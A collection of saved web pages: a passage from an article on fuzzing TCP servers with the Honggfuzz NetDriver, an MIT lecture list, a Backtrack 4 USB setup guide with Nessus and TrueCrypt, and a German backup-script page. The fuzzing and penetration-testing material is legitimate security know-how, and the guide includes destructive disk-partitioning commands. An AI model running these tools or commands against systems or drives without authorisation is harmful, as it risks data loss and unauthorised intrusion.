      GetDataFromTheInputPreparationStage(&**buf** , &**len**);
     
      /* Decode JPEG image into a bitmap */
      jpeg_mem_src(&cinfo, **buf** , **len**);
      jpeg_read_header(&cinfo, TRUE);
      jpeg_start_decompress(&cinfo);
      ...
    }
    
[/code]

  
The obvious benefit of such approach was the increased speed of execution; the
chunk of CPU time previously spent on re-executing a binary from scratch \(via
fork/execve call sequences\) and running expensive ld.so and library _init_
routines was greatly reduced. With this new mode - dubbed  _persistent
fuzzing_ \- the CPU time was allocated mostly to executing target functions
located within tested APIs.  
  
The libFuzzer engine executed the fuzzing step using the so-called in-process
mode, while honggfuzz and AFL engines opted into using a separate supervisor
process \(for one or another reason; discussion of which lies outside of the
scope of this article\) and were sending data to the fuzzed binary via some
form of IPC \(file-descriptors/paths, sockets or even via shared memory\). But
overall, this was not so conceptually different from how in-process fuzzing
engines were performing their tasks.  
  
All those approaches worked quite well, and over course of the last years
various fuzzing engines helped to uncover hundreds, if not thousands already:
logical bugs, crashes, data leaks, undefined behavior code constructs,
DoSes/deadlocks and resource exhaustion cases. Many of those bugs finally
turned out to be serious security vulnerabilities.  
  
In the aftermath of systematic use of those tools by many sec-researchers
around the world, each feedback-driven evolutionary fuzzer is now able to
impress its existing and potential users with long list of software \(and in
some cases, hardware\) problems uncovered with its help. Here're the trophy
lists for honggfuzz, AFL and for libFuzzer.  
  
  

<img src='img/hfuzz.jpg' width='400' height='297' />

  
  

##  TCP servers

Over time the process of fuzzing of well defined APIs, which were accepting
pointers to data buffers and indications of their length, became much easier-
to-implement and reasonably popular among software programmers. It has even
become something of a convention, that authors of larger software packages
started preparing fuzzing stubs \(for lack of a better name\) and distributed
them along the main source code. For example, this OpenSSL directory contains
a nice set a fairly comprehensive fuzzing stubs for a sizable chunk of
functionality exposed to potential attackers by the OpenSSL code.  
  
Unfortunately, it wasn't really the case for other type of software packages
that were in bad need of security-testing. This type of software didn't take
inputs as memory buffers or cmd-line arguments pointing to local disk files,
but it was accepting network connections and interacting with its users over
TCP/UDP/SCTP/etc. streams.  
  
Even today, readily available examples of fuzzing setups for Apache's HTTPD,
OpenSSH or for ISC BIND are fairly uncommon. For instance, this publicly
available set of OpenSSH fuzzers tests only a small subset of interesting
functionality exposed by this huge and important software package.  
  
When taking widely-used TCP servers into consideration, as far as I know,
there exist only quite _hacky_ \(nonetheless, working\) setups prepared by
author of this article \(for Apache HTTPD and for ISC BIND\) tailored for use
with honggfuzz \[the Apache HTTPD fuzzing setup was later adopted for use with
AFL by Javier Jiménez\].  
  
Having said that, it's quite possible that alternative, sometimes non-public
fuzzing setups continuously looking for bugs in TCP servers exist and are in
active use.  
  

##  Honggfuzz NetDriver

  
But, if we really wanted to implement a fairly robust fuzzing setup for TCP
servers, what would we really need in order to achieve this?  
  

  * A piece of code which can integrate with existing TCP servers, e.g. a static/dynamic library which can be linked together with Apache's HTTP \(i.e. its httpd binary\),
  * A technical method for converting inputs from memory arrays and lenght identifiers into TCP streams,
  * A way to indicate to TCP servers, that they shouldn't expect any more data over the TCP stream if there's none left in the fuzzing input buffer; otherwise TCP servers could hang forever, or terminate connections after not-so-good-from-fuzzing-perspective timeouts \(say, more than 10 ms.\),
  * Some solution to the problem, that if many identical TCP servers ran at once on the same system, with same configs \(or, with default configs\), then they would also bind to numerically identical TCP ports. Of course, this only matters if it's our intention to fuzz multiple instances of the same TCP server at once \(what is easily doable with honggfuzz\).

  
The Honggfuzz NetDriver, introduced recently into the Honggfuzz's code-base,
tries to deliver just that.  
  
It is compilable to a static library \[libfhnetdriver/libhfnetdriver.a\].
Typing ...  
  
make libhfnetdriver/libhfnetdriver.a  
  
... inside the honggfuzz's source code directory will make it ready to use. If
you are interested in implementation details, the source code for the driver
can be found here.  
  
The driver inserts itself as a target \(provides symbols\) for the interface
implemented originally by the libFuzzer's authors:  
  
**int LLVMFuzzerTestOneInput\(const uint8\_t\* buf, size\_t len\);**  
  
This choice makes it possible to use the driver not only with honggfuzz, but
also with AFL and, obviously, with libFuzzer. The only piece of modification
the Apache HTTPD project will need from now on boils down to the following
diff:  
  
  
\--- a/server/main.c  
+++ b/server/main.c  
@@ -484,8 +484,11 @@ static void usage\(process\_rec \*process\)  
destroy\_and\_exit\_process\(process, 1\);  
\}  
  
-int main\(int argc, const char \* const argv\[\]\)  
-\{  
+\#ifdef HFND\_FUZZING\_ENTRY\_FUNCTION  
\+ **HFND\_FUZZING\_ENTRY\_FUNCTION\(int argc, const char \*const \*argv\)**
\{  
+\#else  
\+ int main\(int argc, const char \*const \*argv\) \{  
+\#endif  
char c;  
int showcompile = 0, showdirectives = 0;  
const char \*confname = SERVER\_CONFIG\_FILE;  
  

  
After the patch has been applied, the **main\(\)** function residing inside
Apache HTTPD's server/main.c will be replaced with a custom macro \(expanded
by hfuzz-cc/\* compilers\). This expanded macro has a special meaning to the
Honggfuzz NetDriver - it will recognize it as a location of the original entry
point to the Apache HTTPD server code.  
  
After linking code of a TCP server \(i.e. httpd here\) with the
libhfnetdriver.a \(this step is performed automatically by the hfuzz-cc/\*
compiler wrappers\) our chosen fuzzer engine \(honggfuzz, libFuzzer or AFL\)
will run its own **main\(\)** function first, and then it will run TCP server
code inside a separate thread.

  

The aforementioned problem of signaling end-of-input to TCP servers \(i.e. no-
more-data-in-the-fuzzing-input-buffer state\) can be solved by sending the TCP
FIN packet along the established TCP stream. With modern operating systems,
this can be done using the shutdown\(sock, SHUT\_WR\) syscall.

  

The last requirement on our list of problems to solve, is the ability to start
multiple TCP servers using same TCP ports. Unfortunately, the fairly new
setsockopt\(SO\_REUSEPORT\) option won't be of use here, as mangled inputs
would be delivered to random instances of fuzzed processes. But, there's one
good alternative here ...

  

... this _marvelous_ solution to our problem are the Linux network namespaces.
As their name suggests, they will work with Linux OS only, so users of other
operating systems are unfortunately out of luck here. Running each new TCP
server in a separate net namespace allows it to bind to any TCP port it wishes
so, as each of those servers will see its own and brand new loopback
interface. The NetDriver utilizes Linux namespace support code which can be
found inside the Honggfuz's libhfcommon library.

  

Once the TCP server, now running inside its own software thread, is up and
accepting new TCP connections, our net driver will:  
  

  1. be called as the **LLVMFuzzerTestOneInput\(\)** interface by the input preparation stage of your chosen fuzzer,
  2. **connect\(\)** to the TCP server,
  3. **send\(\)** input \(buffer\) over established TCP connection,
  4. use **shutdown\(sock, SHUT\_WR\)** to indicate to the TCP server that there's no more data that can be delivered,
  5. wait with **recv\(\)** for the data that the TCP server wants us to receive, up to the point when it closes its side of the TCP connection,
  6. **close\(\)** the client's TCP connection endpoint,
  7. jump to 1. and repeat.

_  
_

The following set of commands should help you to start fuzzing your first
project with the NetDriver \(at least, for Apache HTTPD\).  
  

[code]

    $ ( cd httpd && ./hfuzz.compile_and_install.asan.sh )
    $ honggfuzz -v -Q -f IN/ -w ./httpd.wordlist -- ./httpd/httpd -X -f /home/jagger/fuzz/apache/dist/conf/httpd.conf.h2
    ...
    ...
    Honggfuzz Net Driver (pid=21726): Waiting for the TCP server process to start accepting TCP connections at 127.0.0.1:8080. Sleeping for 1 second....
    Honggfuzz Net Driver (pid=21726): The TCP server process is ready to accept connections at 127.0.0.1:8080. TCP fuzzing starts now!
    Size:9378 (i,b,hw,edge,ip,cmp): 0/0/0/4643/110/56364, Tot:0/0/0/4643/110/56364
    Size:40712 (i,b,hw,edge,ip,cmp): 0/0/0/1971/104/21274, Tot:0/0/0/6614/214/77638
    ...
    
[/code]

  
A custom compilation script, together with all necessary patches, configs and
initial corpus files for the Apache HTTPD server can be found inside this
honggfuzz directory.  
  
I suppose that it should be a relatively easy task to integrate the NetDriver
with both libFuzzer and with AFL fuzzing setups.

##  Closing thoughts

One could argue that testing small, well-defined sub-components \(APIs\) of
huge TCP servers is the best way to go here. Unfortunately covering with
fuzzing routines every parsing library and routine exposed to external users
inside behemoths of a size of Apache HTTPD or ISC BIND would be a long and
tiresome task. What is more, there's no guarantee of achieving 100% code
coverage here, as identifying every piece of code which can touch/parse user-
supplied HTTP headers, POST content, HTTP/2 streams, or data passed to CGI
scripts can easily take weeks, if not months.  
  
Even if I personally support the very idea of testing small and well-specified
APIs first, the fact that that those fuzzing setups for TCP servers don't
exist yet, or are fairly incomplete in terms of covered attack surface, makes
such end-to-end fuzz-testing quite valuable tool. It has already proven
useful, yielding interesting results in a form of discovered, reported and
fixed security vulnerabilities. You can read more about them here: Apache
HTTPD \[1, 2, 3\], OpenSSH \[1\].  
  
If you have any thoughts or comments about this article, you can reach me at
robert@swiecki.net or via my Twitter account: @robertswiecki.

  

# MIT OpenCourseWare | Electrical Engineering and Computer Science | 6.450 Principles of Digital Communications I, Fall 2006 | Video Lectures
**Created:**| _2/23/2012 9:54:18 PM_  
---|---  
**Updated:**| _2/23/2012 9:54:24 PM_  
**Author:**| __  
**Tags:**| _conference-material statistics information systems DSP math_  
  

# Video Lectures

These video lectures are from the Fall 2003 offering of this course.

<img src='img/Temp2_5031.gif' />Subscribe to this collection

<img src='img/Temp2_5017.gif' />

  

Lecture 1: Introduction

Go to this video

<img src='img/Temp2_5014.gif' />

  

Lecture 2: Discrete Source Encoding

Go to this video

<img src='img/Temp2_5030.gif' />

  

Lecture 3: Memory-less Sources

Go to this video

<img src='img/Temp2_5011.gif' />

  

Lecture 4: Entropy and Asymptotic Equipartition Property

Go to this video

<img src='img/Temp2_5029.gif' />

  

Lecture 5: Markov Sources

Go to this video

<img src='img/Temp2_5023.gif' />

  

Lecture 6: Quantization

Go to this video

<img src='img/Temp2_5016.gif' />

  

Lecture 7: High Rate Quantizers and Waveform Encoding

Go to this video

<img src='img/Temp2_5026.gif' />

  

Lecture 8: Measure

Go to this video

<img src='img/Temp2_5021.gif' />

  

Lecture 9: Discrete-Time Fourier Transforms

Go to this video

<img src='img/Temp2_5010.gif' />

  

Lecture 10: Degrees of Freedom

Go to this video

<img src='img/Temp2_5033.gif' />

  

Lecture 11: Signal Space

Go to this video

<img src='img/Temp2_5032.gif' />

  

Lecture 12: Nyquist Theory

Go to this video

<img src='img/Temp2_5025.gif' />

  

Lecture 13: Random Processes

Go to this video

<img src='img/Temp2_5022.gif' />

  

Lecture 14: Jointly Gaussian Random Vectors

Go to this video

<img src='img/Temp2_5028.gif' />

  

Lecture 15: Linear Functionals

Go to this video

<img src='img/Temp2_5012.gif' />

  

Lecture 16: Review; Introduction to Detection

Go to this video

<img src='img/Temp2_5024.gif' />

  

Lecture 17: Detection for Random Vectors and Processes

Go to this video

<img src='img/Temp2_5018.gif' />

  

Lecture 18: Theory of Irrelevance

Go to this video

<img src='img/Temp2_5015.gif' />

  

Lecture 19: Baseband Detection

Go to this video

<img src='img/Temp2_5020.gif' />

  

Lecture 20: Introduction of Wireless Communication

Go to this video

<img src='img/Temp2_5027.gif' />

  

Lecture 21: Doppler Spread

Go to this video

<img src='img/Temp2_5019.gif' />

  

Lecture 22: Discrete-Time Baseband Models for Wireless Channels

Go to this video

<img src='img/Temp2_5034.gif' />

  

Lecture 23: Detection for Flat Rayleigh Fading and Incoherent Channels

Go to this video

<img src='img/Temp2_5013.gif' />

  

Lecture 24: Case Study on Code Division Multiple Access

Go to this video

# Backtrack 4 – USB/Persistent Changes/Nessus | Infosec Ramblings
**Created:**| _8/23/2009 3:33:56 PM_  
---|---  
**Updated:**| _8/23/2009 3:34:08 PM_  
**Author:**| __  
**Tags:**| _Live Distri Linux_  
  

# Backtrack 4 – USB/Persistent Changes/Nessus

Welcome to the new and improved Backtrack 4 How-to. I’m sure it needs a little
editing, but should be usable. If you were in the middle of using the old
version, you can still get to it here.

This how-to will show you a method for building a USB thumb drive with the
following features:

  * Persistent Changes – Files saved and changes made will be kept across reboots.
  * Nessus and NessusClient installed – Everybody needs Nessus <img src='img/Temp2_980.gif' alt=':)' />
  * Encryption configured \(Note: This is not whole drive encryption\)

We will also tweak a few things and make some interesting changes.

Table of contents:

**Tools and Supplies  
Partition the USB thumbdrive  
Make a bootable Backtrack 4 USB thumbdrive  
Persistent Changes  
Install Nessus  
Configure Encryption  
Tweak a few things**

**  
**

**Tools and Supplies**

  1. A USB thumbdrive – minimum capacity 4GB
  2. A Backtrack 3 CDROM, Backtrack 4 DVD or an additional USB thumbdrive \(minimum 2GB\) – Used to partition the thumbdrive.
  3. Optional: UNetbootin – A tool to transfer an iso image to a USB drive.

Let’s get started\!

Let’s grab a copy of the Backtrack 4 Pre Release ISO.

**Description** : DVD Image  
**Name:** : bt4-pre-final.iso  
**Size** : 1390 MB  
**MD5** : b0485da6194d75b30cda282ceb629654  
**Download** : Click here

Now that we have the goods in hand, we can get to cooking. This tutorial is
based on booting Backtrack 4 first. This means that you need some form of
bootable Backtrack 4 media. This can be a virtual machine, DVD, or USB drive.
Use your favorite method of creating a DVD or USB drive or you can use
UNetBootin to create the thumb drive. Below is a screenshot of using
UnetBootin to install Backtrack 4 on a USB drive.

<img src='img/Temp2_975.gif' width='485' height='359' alt='Installing
Backtrack 4 with UnetBootin' />

It is a simple as selecting the image we want to write to the USB drive, the
drive to write it to, and then clicking the ‘OK’ button. Warning: Make sure
you pick the correct destination drive. You don’t want to shoot yourself in
the foot. <img src='img/Temp2_980.gif' alt=':)' />

**Partition the USB thumbdrive**

The first step is to boot up Backtrack 4. With the release of Backtrack 4
Final, a 4 GB drive is required if we are going to enable persistence. For
Backtrack 3 and Backtrack 4 Beta, we could get away with a 2GB drive. We will
also need to figure out which drive is our target drive. The following command
will show the drives available and you can determine from that which is the
new USB drive:

> dmesg | egrep hd.\|sd. 
We need to partition and format the drive as follows:

  1. The first partition needs to be a primary partition of at least 1.5 GB and set to type vfat. Also remember to make this partition active when you are creating it. Otherwise you might have some boot problems.
  2. The second Partition can be the rest of the thumb drive.

Below are the steps to take to get the drive partitioned and formatted. These
steps are taken from this video on Offensive Securitywebsite. A ‘\# blah blah‘
indicates a comment and is not part of the command and user typed commands are
**bolded**. One note, we will need to delete any existing partitions on the
drive.

> **fdisk /dev/sda** \# use the appropriate drive letter for your system
> \# delete existing partitions. There may be more than one.
> Command \(m for help\):** d**  
> Partition number \(1-4\): **1**
> \# create the first partition
> Command \(m for help\): **n**  
>  Command action  
> e extended  
> p primary partition \(1-4\)  
> **p**  
>  Partition number \(1-4\): **1**  
>  First cylinder \(1-522, default 1\): **< enter>**  
> Using default value 1  
> Last cylinder, +cylinders or +size\{K,M,G\} \(1-522, default 522\):
> **+1500M**
> \#create the second partition
> Command \(m for help\): **n**  
>  Command action  
> e extended  
> p primary partition \(1-4\)  
> **p**  
>  Partition number \(1-4\): **2**  
>  First cylinder \(193-522, default 193\): **< enter>**  
> Using default value 193  
> Last cylinder, +cylinders or +size\{K,M,G\} \(193-522, default 522\): **<
> enter>**  
> Using default value 522
> \# Setting the partition type for the first partition to vfat/fat32
> Command \(m for help\): **t**  
>  Partition number \(1-4\): **1**  
>  Hex code \(type L to list codes\): **b**  
>  Changed system type of partition 1 to b \(W95 FAT32\)
> \# Setting the partition type for the second partition to Linux
> Command \(m for help\): **t **  
> Partition number \(1-4\): **2**  
>  Hex code \(type L to list codes\): **83**
> \# Setting the first partition active
> Command \(m for help\): **a**  
>  Partition number \(1-4\): **1**
> Command \(m for help\): **q**
> \# now it is time to format the partitions
> **mkfs.vfat /dev/sdb1  
>  mkfs.ext3 -b 4096 -L casper-rw /dev/sdb2**
Two things to notice above in the format commands; 1\) we are using ext3
instead of ext2 and 2\) you must include the -L casper-rw portion of the
command. Being able to use ext3 is great because of journaling. The -L casper-
rw option helps us get around the problem we had where we had to enter the
partition name in order to get persistence working. As you will see, that is
no longer necessary. WooHoo\!

So go ahead and partition and format the drive according the layout above.

**Make it a bootable Backtrack 4 USB thumb drive**

In the previous version of this how-to, we used UNetBootin to copy the ISO to
the thumb drive and make it bootable. That required us to boot back to windows
and then back again to Backtrack. We are changing to doing everything from
Backtrack now. These steps are also taken from the Offensive Security video
mentioned above.

The steps are basically:

  1. Mount the first partition.
  2. Copy the Backtrack files to it.
  3. Install grub.

Following are the commands to execute. Again, ‘\#’ denote comments and user
typed commands are in **bolded**.

> \# mount the first partition, sda1 in my case.
> **mkdir /mnt/sda1  
>  mount /dev/sda1 /mnt/sda1**
> \# copy the files, you will need to find where the ISO is mounted on your
> system.
> **cd /mnt/sda1  
>  rsync -r /media/cdrom0/\* .**
> \# install grub
> **grub-install --****no-floppy --****root-directory=/mnt/sda1 /dev/sda**
That’s it. We now have a bootable Backtrack 4 USB thumb drive. Now on to
setting up persistent changes.

****Persistent Changes****

This is done much differently and more easily than it was in Backtrack 4 Beta
or Backtrack 3. First of all, for basic persistence, we don’t have to do
anything at all. There is already a menu option that takes care of it for us.
Unfortunately, it is only for console mode so we need to make a couple
changes.

We want to do the following things:

  1. Change the default boot selection to persistent.
  2. Set the resolution for our gui.

To do so, do the following. Again, ‘\#’ …comment….user typed…blah blah.

> **cd /mnt/sda1/boot/grub**
> **vi menu.lst**
> \# change the default line below to ‘default 4′ and append ‘vga=0×317′
> \(that’s a zero\) to the kernel line to set the resolution to 1024×768
> \# By default, boot the first entry.  
> default 4  
> .  
> .  
> .  
> title Start Persistent Live CD  
> kernel /boot/vmlinuz BOOT=casper boot=casper persistent rw quiet vga=0×317  
> initrd /boot/initrd.gz
> **:wq**
Here is my entire menu.lst file for reference.

> \# By default, boot the first entry.  
> default **4**
> \# Boot automatically after 30 secs.  
> timeout 30
> splashimage=/boot/grub/bt4.xpm.gz
> title Start BackTrack FrameBuffer \(1024×768\)  
> kernel /boot/vmlinuz BOOT=casper boot=casper nopersistent rw quiet vga=0×317  
> initrd /boot/initrd.gz
> title Start BackTrack FrameBuffer \(800×600\)  
> kernel /boot/vmlinuz BOOT=casper boot=casper nopersistent rw quiet vga=0×314  
> initrd /boot/initrd800.gz
> title Start BackTrack Forensics \(no swap\)  
> kernel /boot/vmlinuz BOOT=casper boot=casper nopersistent rw vga=0×317  
> initrd /boot/initrdfr.gz
> title Start BackTrack in Safe Graphical Mode  
> kernel /boot/vmlinuz BOOT=casper boot=casper xforcevesa rw quiet  
> initrd /boot/initrd.gz
> title Start Persistent Live CD  
> kernel /boot/vmlinuz BOOT=casper boot=casper persistent rw quiet
> ******vga=0×317******
> initrd /boot/initrd.gz
> title Start BackTrack in Text Mode  
> kernel /boot/vmlinuz BOOT=casper boot=casper nopersistent textonly rw quiet  
> initrd /boot/initrd.gz
> title Start BackTrack Graphical Mode from RAM  
> kernel /boot/vmlinuz BOOT=casper boot=casper toram nopersistent rw quiet  
> initrd /boot/initrd.gz
> title Memory Test  
> kernel /boot/memtest86+.bin
> title Boot the First Hard Disk  
> root \(hd0\)  
> chainloader +1
Reboot and either select “Start Persistent Live CD” or just wait since we set
it to auto-boot to persistent mode. To test it, create a file and reboot
again. If your file is still there, everything is golden.

******Install Nessus******

Now that our changes are saved from boot to boot, we can install things and
they won’t disappear on us <img src='img/Temp2_980.gif' alt=':)' />

Download the Ubuntu Nessus and NessusClient packages from nessus.org. The
32-bit 8.10 version worked fine for me.

Again, with Backtrack 4 things are little easier. To install the Nessus
server, simply execute the following command to install the package.

> **dpkg **\--**install Nessus-4.0.1-ubuntu810\_i386.deb**
Things used to be a little bit more complicated for the client, but with the
release of the pre-final version, it is just as easy as installing as the
server.

> **dpkg **\--**install NessusClient-4.0.1-ubuntu810\_i386.deb**
Finally it’s time to configure Nessus. Execute each of the following and
follow the prompts. My entries are below for fun.

> \#create server certificate
> **/opt/nessus/sbin/nessus-mkcert**
> This script will now ask you the relevant information to create the SSL  
> certificate of Nessus. Note that this information will \*NOT\* be sent to  
> anybody \(everything stays local\), but anyone with the ability to connect
> to your  
> Nessus daemon will be able to retrieve this information.
> CA certificate life time in days \[1460\]:**< enter>**  
> Server certificate life time in days \[365\]: **< enter>**  
> Your country \(two letter code\) \[FR\]:**US**  
>  Your state or province name \[none\]:**Confused**  
>  Your location \(e.g. town\) \[Paris\]:**Somewhere In Time**  
>  Your organization \[Nessus Users United\]:**< enter>**  
> .  
> .  
> .  
> Congratulations. Your server certificate was properly created.  
> .  
> .
> \# add user
> **/opt/nessus/sbin/nessus-adduser**
> Login :**Me**  
>  Authentication \(pass/cert\) : \[pass\]**< enter>**  
> Login password :  
> Login password \(again\) :  
> Do you want this user to be a Nessus ‘admin’ user ? \(can upload plugins,
> etc…\) \(y/n\) \[n\]:**y**  
>  User rules  
> ———-  
> nessusd has a rules system which allows you to restrict the hosts  
> that Me has the right to test. For instance, you may want  
> him to be able to scan his own host only.
> Please see the nessus-adduser manual for the rules syntax
> Enter the rules for this user, and enter a BLANK LINE once you are done :  
> \(the user can have an empty rules set\)
> Login : Me  
> Password : \*\*\*\*\*\*\*\*\*\*\*  
> This user will have ‘admin’ privileges within the Nessus server  
> Rules :  
> Is that ok ? \(y/n\) \[y\]**y**  
>  User added
We want to disable Nessus starting at boot. We are going to do some things a
little later than require that Nessus not be running at boot.

> **/usr/sbin/update-rc.d -f nessusd remove**
This command does not remove the Nessus start scripts. It only removes the
links that cause Nessus to start at boot time.

The next thing we need to do is register our installation so we can get the
plugin feed. You need to go here and request a key. That is a link to the free
feed for home use. Use appropriately.

Once you have your key. Execute the following to update your plugins. Please
note that there are two dashes before register in the nessus-fetch line below.
They can display as one sometimes.

> **/opt/nessus/bin/nessus-fetch **\--**register \[your feed code here\]**
When that is done, and it is going to take a few minutes, you are ready to
start the server and client. Be aware that with version 4.0, while the command
to start returns quickly, the actual starting of the service may take a minute
or two. In many cases, I have actually had to reboot before Nessus started
working. You can use netstat -na to check that the server is listening on port
1241.

> **/etc/init.d/nessusd start  
>  /opt/nessus/bin/NessusClient**
Woohoo, time to find those vulnerabilities.

**Configure Encryption**

Since we are using this tool to poke at peoples networks and systems, with
permission of course, it is very important that the information we find be
protected. To do this, we are going to setup an encrypted volume that will
eventually become our home directory.

This can be done with the gui or via command line. We will be using the gui
because we need to be able to format the volume with ext3 and, as yet, I have
not been able to figure out how to do that via the command line on linux.
Click on the images to see a larger version.

****<img src='img/Temp2_973.gif' width='480' height='360' alt='Truecrypt
Configuration (Time 0_00_12;24)' />****

****<img src='img/Temp2_974.gif' width='480' height='360' alt='Truecrypt
Configuration (Time 0_00_16;18)' />****

****<img src='img/Temp2_978.gif' width='480' height='360' alt='Truecrypt
Configuration (Time 0_00_28;12)' />****

****<img src='img/Temp2_978.gif' width='480' height='360' alt='Truecrypt
Configuration (Time 0_00_28;12)' />****

****<img src='img/Temp2_971.gif' width='480' height='360' alt='Truecrypt
Configuration (Time 0_00_29;00)' />****

****<img src='img/Temp2_979.gif' width='480' height='360' alt='Truecrypt_size'
/>****

****<img src='img/Temp2_977.gif' width='480' height='360' alt='Truecrypt
Configuration (Time 0_00_41;18)' />****

****<img src='img/Temp2_976.gif' width='480' height='360' alt='Truecrypt
Configuration (Time 0_00_44;24)' />****

****<img src='img/Temp2_981.gif' width='480' height='360' alt='Truecrypt_type'
/>****

****<img src='img/Temp2_972.gif' width='480' height='360' alt='Truecrypt
Configuration (Time 0_00_50;18)' />****

You will get a message that the volume was successful created. Click on the
‘OK’ button, then exit the Truecrypt gui, both the ‘Create Volume’ windows and
the main windows. We want to be back at the command prompt at this point.

If you want to test the your filesystem, execute the following, note the -k ”
is two single quotes, not a double quote:

> **truecrypt -t -k ” **\--**protect-hidden=no /my\_secret\_stuff
> /media/truecrypt1  
>  mount  
> cd /media/truecrypt1  
> df .**
This will show that the volume is mounted and the amount of disk space you
have left. Our next step is to have this volume mounted when we log in. We do
this by editing the root user’s .profile file. Add the truecrypt command above
to root’s .profile so it looks like this:

>
[code]

>     # ~/.profile: executed by Bourne-compatible login shells.
>     if [ "$BASH" ]; then
>       if [ -f ~/.bashrc ]; then
>         . ~/.bashrc
>       fi
>     fi
>  
>     truecrypt -t -k '' --protect-hidden=no /my_secret_stuff
> /media/truecrypt1
>  
>     mesg n
>  
[/code]

The next time you reboot you will be asked for the password for the volume and
it will be mounted for you.

Now it is time to tweak a few tings

**Tweak a few things**

The first thing we are going to do is go ahead and configure networking to
start at boot time. It’s convenient and easy to disable if we need to. All we
have to do is execute the following command.

> **/usr/sbin/update-rc.d networking defaults**
Next thing we want to do is make sure all our tools and the system itself is
up-to-date. First execute the following:

> **apt-get update**
This is update the software repository information. Next, execute the this
command:

> **apt-get upgrade**
The system will determine if there is anything that needs to be updated and
then prompt you to continue. Individual packages can be updated by including
the package name after upgrade.

This next bit is interesting and I was surprised it worked. We are going to
reset the root user’s home directory during the login process to the mounted
truecrypt volume. This will ensure that anything written to the home directory
will be encrypted. The following commands will set this up for us:

> **cd /media/truecrypt1**
> **rsync -r –links /root/ .**
> \# add the bold lines below
> **vi /root/.profile**
[code]

>     # ~/.profile: executed by Bourne-compatible login shells.
>     if [ "$BASH" ]; then
>       if [ -f ~/.bashrc ]; then
>         . ~/.bashrc
>       fi
>     fi
>  
>     truecrypt -t -k '' --protect-hidden=no /my_secret_stuff
> /media/truecrypt1
>  
>     **export HOME=/media/truecrypt1
>     export HISTFILE=/media/truecrypt1/.bash_history**
>  
>     **cd**
>  
>     mesg n
>  
[/code]

> **:wq**
The next time you reboot, when you are finally in the system, your home
directory will be /media/truecrypt1.

There is one last thing we want to do. We want to change nessus to log to the
encrypted volume. This is very easy. The file that controls this is
/opt/nessus/etc/nessus/nessusd.conf. We need to create a place for the log
files to go. So execute the following

> **cd /media/truecrypt1**
> **mkdir -p nessus/logs**
Once you have done that, edit the /opt/nessus/etc/nessus/nessusd.conf file and
change this:

> .  
> .  
> .  
> \# Log file :  
> logfile = /opt/nessus/var/nessus/logs/nessusd.messages
> \# Shall we log every details of the attack ? \(disk intensive\)  
> log\_whole\_attack = no
> \# Dump file for debugging output  
> dumpfile = /opt/nessus/var/nessus/logs/nessusd.dump  
> .  
> .  
> .
to this:

> .  
> .  
> .  
> \# Log file :  
> logfile = **/media/truecrypt1/nessus/logs/** nessusd.messages
> \# Shall we log every details of the attack ? \(disk intensive\)  
> log\_whole\_attack = no
> \# Dump file for debugging output  
> dumpfile = **/media/truecrypt1/nessus/logs/** nessusd.dump  
> .  
> .  
> .
That’s it. You are all done now. Go forth and have fun. <img
src='img/Temp2_980.gif' alt=':)' />

Please let me know of any corrections or changes that should be made. You can
leave a comment or send me a note at kriggins \[at\] infosecramblings.com.

Kevin

# Backupscript › Wiki › ubuntuusers.de

**Created:**| _5/12/2010 9:51:02 AM_  
---|---  
**Updated:**| _5/12/2010 2:05:20 PM_  
**Author:**| __  
**Tags:**| _Linux Lab-Setup backup_  
  

  *   
**Backupscript**  

### Dieser Artikel wurde für die folgenden Ubuntu-Versionen getestet:

  * Ubuntu Hardy Heron 8.04
  * Ubuntu Dapper Drake 6.06

### Zum Verständnis dieses Artikels sind folgende Seiten hilfreich:

  1. Ein Terminal öffnen
  2. Einen Editor öffnen
  3. Rechte für Dateien und Ordner ändern

Inhaltsverzeichnis

  1. Erstellen des Skripts 
  2. Konfiguration 
  3. Aufrufen des Skripts 
  4. Backup automatisch verschlüsseln 
  5. tar: Entferne führende „/“ von Elementnamen...

Mit diesem Skript lassen sich leicht mehrere Verzeichnisse packen und in ein
anderes Verzeichnis kopieren. Dieses Verzeichnis sollte auf einer anderen
Festplatte oder auf einem Server liegen. Die Verzeichnisse werden mit tar in
ein Archiv gepackt und bzip2-komprimiert.

## Erstellen des Skripts¶

Zuerst erstellt man ein neues Verzeichnis **bin** im Home-Verzeichnis für das
Skript, falls dieses noch nicht existiert. Danach öffnet man einen Texteditor
\[2\] und kopiert den folgenden Text hinein:

[code]

    #!/bin/bash
    DATE=$(date +%Y-%m-%d-%H%M%S)
    
    # pfad sollte nicht mit "/" enden!
    # Dies ist nur ein Beispiel - bitte an eigene Bedürfnisse anpassen.
    # Man muß schreibberechtigt im entsprechenden Verzeichnis sein.
    BACKUP_DIR="/mnt/backup"
    
    # Hier Verzeichnisse auflisten, die gesichert werden sollen.
    # Dies ist nur ein Beispiel - bitte an eigene Bedürfnisse anpassen.
    # Bei Verzeichnissen, für die der User keine durchgehenden Leserechte hat (z.B. /etc) sind Fehler vorprogrammiert.
    # Pfade sollte nicht mit "/" enden!
    SOURCE="$HOME/bin $HOME/.gaim "
    
    tar -cjpf $BACKUP_DIR/backup-$DATE.tar.bz2 $SOURCE
[/code]

Diese Datei speichert man im **bin** -Verzeichnis unter dem Namen **backup**.
Nun exportiert man entweder einmalig den Pfad

[code]

    export PATH=$PATH:$HOME/bin 
[/code]

oder öffnet ein neues Terminal, der Pfad wird dann automatisch hinzugefügt.

## Konfiguration¶

Das Backup-Verzeichnis \(im Skript BACKUP\_DIR genannt\) gibt das Verzeichnis
an in dem das Archiv erstellt werden soll. Es sollte zumindest auf einer
anderen Festplatte liegen, besser noch auf einem anderen PC, welcher ins
Dateisystem eingebunden wurde.

### Achtung\!

Sollen Verzeichnisse wie **/etc** gesichert werden, für die nur root
durchgehende Leserechte hat, so muss das Skript mit sudo gestartet werden.

Die zu sichernden Verzeichnisse werden in der Variablen SOURCE angegeben. Es
sollte kein "/" am Ende der Verzeichnisse stehen und es muss ein Leerzeichen
vor dem abschließenden " sein.

## Aufrufen des Skripts¶

Das Skript muss vor der Nutzung noch ausführbar gemacht werden \[3\], dazu im
Terminal \[1\] folgendes eingeben:

[code]

    chmod u+x $HOME/bin/backup 
[/code]

Das Skript lässt sich jetzt mit folgendem Befehl starten:

[code]

    backup 
[/code]

## Backup automatisch verschlüsseln¶

Bei der Erstellung eines Backups bietet es sich aus verschiedenen Gründen an,
dieses automatisch zu verschlüsseln. Dazu gibt es mehrere Möglichkeiten:

### Truecrypt/dm\_crypt¶

Wer verschlüsselte Dateisysteme, z.B. mit Hilfe von Truecrypt oder LUKS
benutzt, kann einfach ein Verzeichnis auf dem verschlüsselten Laufwerk als
Zielort für das Backup \(s.o.\) angeben.

